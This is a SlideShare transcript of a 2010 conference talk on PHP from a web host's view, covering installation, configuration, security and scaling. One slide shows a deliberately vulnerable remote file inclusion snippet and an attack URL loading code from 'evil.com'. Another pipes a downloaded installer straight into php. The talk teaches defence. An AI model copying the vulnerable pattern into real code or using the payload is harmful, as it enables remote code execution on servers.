• Save
Php through the eyes of a hoster
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Php through the eyes of a hoster

on

  • 1,704 views

Php through the eyes of a hoster: slides for the Dutch PHP Conference 2010 @ Amsterdam NL

Php through the eyes of a hoster: slides for the Dutch PHP Conference 2010 @ Amsterdam NL

Statistics

Views

Total Views
1,704
Views on SlideShare
1,700
Embed Views
4

Actions

Likes
0
Downloads
0
Comments
0

2 Embeds 4

http://www.linkedin.com 3
https://www.linkedin.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Php through the eyes of a hoster Presentation Transcript

  • 1. PHP  through  the  eyes  of  a  hoster Thijs  Feryn Support  manager +32  (0)9  218  79  06 thijs@combellgroup.com
  • 2. About  me I’m  the  support  manager  at  Combell
  • 3. About  me I’m  a  board  member  at  PHPBenelux
  • 4. About  me Modest  contribu=ons  to:
  • 5. I  live  in  the  wonderful  city  of  Bruges MPBecker  -­‐  Bruges  by  Night  hKp://www.flickr.com/photos/galverson2/3715965933
  • 6. Follow  me  on  TwiKer:  @ThijsFeryn Rate  my  talk:  hKp://joind.in/1541 Read  my  blog:  hKp://blog.feryn.eu
  • 7. Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the   PHP  universe
  • 8. Stakeholders Customer Development  company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultants Hoster PHP  community
  • 9. Stakeholders Somewhere  along  the  road  ... Your  app  needs  to  be  hosted
  • 10. Goals  &  mo]ves Our  goals  &  mo=ves  are  the  same  as  yours: • It  has  to  work • It  has  to  perform • It  has  to  scale • It  has  to  be  secure • It  has  to  be  available
  • 11. Chapter  II:  Installa]on  &  configura]on
  • 12. Installing  from  source server$  ./configure  -­‐-­‐prefix=/usr/local/php-­‐5.2.10   -­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs  -­‐-­‐ with-­‐zlib  -­‐-­‐with-­‐curl  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐mbstring   -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐enable-­‐pcntl  -­‐-­‐with-­‐ pdo-­‐mysql  -­‐-­‐with-­‐readline  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐xsl   -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mssql  -­‐-­‐with-­‐snmp  -­‐-­‐with-­‐imap   -­‐-­‐with-­‐kerberos  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐config-­‐ file-­‐path=/etc/php5/  -­‐-­‐enable-­‐sockets  -­‐-­‐with-­‐ freetype-­‐dir  -­‐-­‐with-­‐openssl   server$  make server$  make  install
  • 13. Installing  using  a  package  manager  (APT/Ap]tude) Install  PHP: server$  apt-­‐get  install  php5 Install  MySQL  library  for  PHP: server$  apt-­‐get  install  php5-­‐mysql
  • 14. SAPI  ...  schmapi Mod_php FastCGI CLI Web Apache  module gateway -­‐ Process Apache  process php-­‐cgi php Configura=on Apache  conf  files wrapper on  the  fly shell  user  or   User Apache  user shell  user suexec  user
  • 15. FastCGI Example  config: • Apache  handler    <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>
  • 16. FastCGI Example  config: • Wrapper  script #!/bin/sh PHPRC=/usr/local/php-­‐5.3.1/etc export  PHPRC export  PHP_FCGI_MAX_REQUESTS=5000 export  PHP_FCGI_CHILDREN=8 exec  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
  • 17. INI  se`ngs:  tales  of  good  &  evil
  • 18. INI  se`ngs:  tales  of  good  &  evil Defining  INI  seRngs: • Php.ini • Ini_set() • “-­‐d”   • php_value • php_flag • php_admin_value • php_admin_flag
  • 19. INI  se`ngs:  tales  of  good  &  evil Memory_limit: Fatal  error:  Allowed  memory  size  of  16777216   bytes  exhausted  (tried  to  allocate  35  bytes)
  • 20. INI  se`ngs:  tales  of  good  &  evil Safe_mode  &  Open_basedir: <IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
  • 21. INI  se`ngs:  tales  of  good  &  evil Allow_url_fopen: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
  • 22. Chapter  III:  Versions  &  features
  • 23. PHP  4:  End  of  life,  but  far  from  dead
  • 24. PHP  4:  End  of  life,  but  far  from  dead Parse  error:  syntax  error,  unexpected  T_STRING,   expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR   or  '}'  in  test.php  on  line  4
  • 25. Developers  love  bling  bling
  • 26. It  HAS  to  be  PHP  5.3.2  !!!
  • 27. I  need  ALL  PHP  extension  !!!
  • 28. I  use  ALL  PHP  features  !!!
  • 29. Fruit  &  vegetables:  PEAR  &  PECL
  • 30. Fruit  &  vegetables:  PEAR  &  PECL PEAR PHP  Extension  and  Applica=on  Repository  (h#p//pear.php.net) server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php server$  pear  install  date
  • 31. Fruit  &  vegetables:  PEAR  &  PECL PECL  (pickle) PHP  Extension  Community  Library  (h#p//pecl.php.net) server$  pecl  install  pecl_http
  • 32. External  frameworks Popular  frameworks  outside  the  PHP  project
  • 33. Chapter  IV:  PHP  aKracts  a  crowd
  • 34. It’s  easy  !
  • 35. That  easy  ! <?php echo "Hello world!";
  • 36. It’s  cheap  !
  • 37. It’s  stable  !
  • 38. Everyone  can  be  a  PHP  developer
  • 39. But  not  everyone  has  what  it  takes
  • 40. Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  so_ware  out  there
  • 41. Who  you  gonna  call  ?
  • 42. But  when  helpers  need  help  ...
  • 43. They  reach  out  to  the  PHP  community User  Group  mee=ngs Twiaer Blogs Forums PHP.net IRC Conferences
  • 44. Chapter  V:  Here  be  phpirates
  • 45. Here  be  phpirates
  • 46. Fact “The  majority  of  hacking/absue  cases  are  PHP  related”
  • 47. False  assump]ons “Open  source  is  evil” “PHP  has  lots  of  security  vulnerabili=es  and  is  not  mature”
  • 48. Here  be  phpirates The  real  issues • Quality  of  the  code • Network  &  server  security • PHP  version  &  configura=on
  • 49. Responsibili]es
  • 50. Chapter  VI:  Scalability
  • 51. Performance  ==  speed
  • 52. Scalability  ==  constant  speed  under  increasing  load
  • 53. Scaling  up
  • 54. Scaling  out
  • 55. Developers  (some2mes)  forget  ...
  • 56. Scaling  MySQL
  • 57. mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =   table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit   12,12; ***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALL possible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort ***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALL possible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where
  • 58. mysql>  show  processlist; +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info         | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show   processlist                                                                | |  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL         | |  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT   data  from  someTable  where  field  =  'val'    | |  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT   data  from  someTable  where  field='val2'      | |  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT   data  from  someTable  where  order  by  field  | |  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT   data  from  someOtherTable                                  | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
  • 59. Scaling  MySQL  with  replica]on
  • 60. PHP  scalability  toolbox
  • 61. Memcached
  • 62. Gearman
  • 63. Varnish
  • 64. Summary
  • 65. Summary 1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe 2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent   setup 3.PHP  has  a  lot  to  offer  feature-­‐wise 4.PHP  aDracts  a  crowd  and  brings  a  lot  of  people  together  from   different  industries  (e.g.  hosters) 5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP   itself 6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure   scalability  via  extra  tools
  • 66. Q&A